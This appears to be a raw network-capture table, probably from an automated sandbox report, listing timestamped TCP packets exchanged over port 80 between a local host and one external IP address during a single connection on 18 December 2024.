Dec 18, 2024 14:07:59.484922886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.485764980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.485807896 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.485964060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.486690998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.486728907 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.486787081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.487644911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.487704039 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.487798929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.488554955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.488603115 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.488636971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.489515066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.489557981 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.489578009 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.490466118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.490508080 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.490524054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.491328001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.491374969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.491456985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.492347956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.492389917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.492404938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.493278027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.493465900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.493483067 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.494311094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.494354010 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.494430065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.495107889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.495156050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.495275021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.496184111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.496221066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.496228933 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.496990919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.497064114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.497070074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.497948885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.497989893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.498028040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.498931885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.498965025 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.499012947 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.499764919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.499810934 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.499881983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.500775099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.500821114 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.500864029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.501835108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.501876116 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.501893997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.502702951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.502743006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.502811909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.503582001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.503622055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.503670931 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.504477978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.504527092 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.504570007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.505400896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.505443096 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.505465984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.506331921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.506376028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.506486893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.507335901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.507384062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.507481098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.508357048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.508398056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.508470058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.509114981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.509217024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.509233952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.510102034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.510147095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.510166883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.522324085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.522339106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.522386074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.522727966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.522775888 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.522850990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.523694992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.523709059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.523739100 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.524492979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.524538040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.673501015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.673520088 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.673571110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.673852921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.674055099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.674098969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.674670935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.674806118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.674858093 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.675554037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.675806046 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.675852060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.676487923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.676587105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.676626921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.677467108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.677480936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.677623987 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.678420067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.678479910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.678540945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.679331064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.679442883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.679490089 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.680231094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.680377960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.680427074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.681169033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.681341887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.681382895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.682107925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.682198048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.682245016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.683031082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.683046103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.683101892 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.684118032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.684211969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.684264898 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.684948921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.685024977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.685087919 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.685834885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.685936928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.686084032 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.686800957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.686928988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.687021017 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.687706947 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.687875032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.687927008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.688672066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.688735962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.688787937 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.689574957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.689673901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.689718962 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.690612078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.690658092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.690789938 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.691481113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.691617012 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.691670895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.692358017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.692495108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.692573071 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.693454981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.693468094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.693526030 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.694281101 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.694427967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.694499016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.695214033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.695350885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.695391893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.696183920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.696293116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.696340084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.697108030 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.697150946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.697482109 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.698009968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.698225021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.698276043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.699029922 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.699043989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.699090958 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.699897051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.700078011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.700144053 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.700885057 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.701019049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.701066971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.701756954 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.701893091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.701951027 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.702691078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.702739000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.702776909 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.703722954 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.703736067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.703778982 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.704528093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.704632998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.704761028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.705467939 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.705687046 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.705745935 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.706578016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.706592083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.706636906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.707349062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.707415104 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.707462072 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.708990097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.709002972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.709050894 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.709443092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.709511995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.709557056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.710172892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.710268021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.710310936 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.711091042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.711215019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.711309910 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.712322950 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.712341070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.712388992 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.713006973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.713020086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.713066101 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.714060068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.714406967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.714456081 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.714889050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.714951992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.714997053 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.715761900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.715905905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.716017008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.716715097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.716916084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.716963053 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.717613935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.717746019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.717793941 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.718559980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.718657970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.718707085 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.719505072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.719707966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.719794989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.720460892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.720733881 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.720781088 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.721467972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.721488953 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.721551895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.722472906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.765157938 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.865252018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.865271091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.865328074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.865400076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.865494967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.865597963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.866600037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.866616964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.866689920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.867311001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.867402077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.867451906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.868231058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.868309021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.868352890 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.869127035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.869214058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.869285107 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.870059013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.870172977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.870217085 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.871282101 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.871321917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.871364117 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.872014999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.872081995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.872126102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.872863054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.872987986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.873028040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.873826981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.873970985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.874013901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.874784946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.874937057 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.874979019 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.875808954 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.875894070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.875950098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.876642942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.876713037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.876771927 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.877602100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.877614975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.877657890 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.878449917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.878662109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.878703117 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.879497051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.879511118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.879549980 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.880307913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.880430937 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.880522013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.881272078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.881386042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.881432056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.882224083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.882335901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.882383108 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.883203983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.883358002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.883400917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.884067059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.884154081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.884210110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.884993076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.885190964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.885232925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.885967970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.886111021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.886154890 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.886854887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.887032032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.887104988 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.887810946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.887936115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.887988091 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.888853073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.889003038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.889082909 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.889679909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.889863968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.889905930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.890614986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.890732050 CET	80	49780	176.113.115.178	192.168.2.9
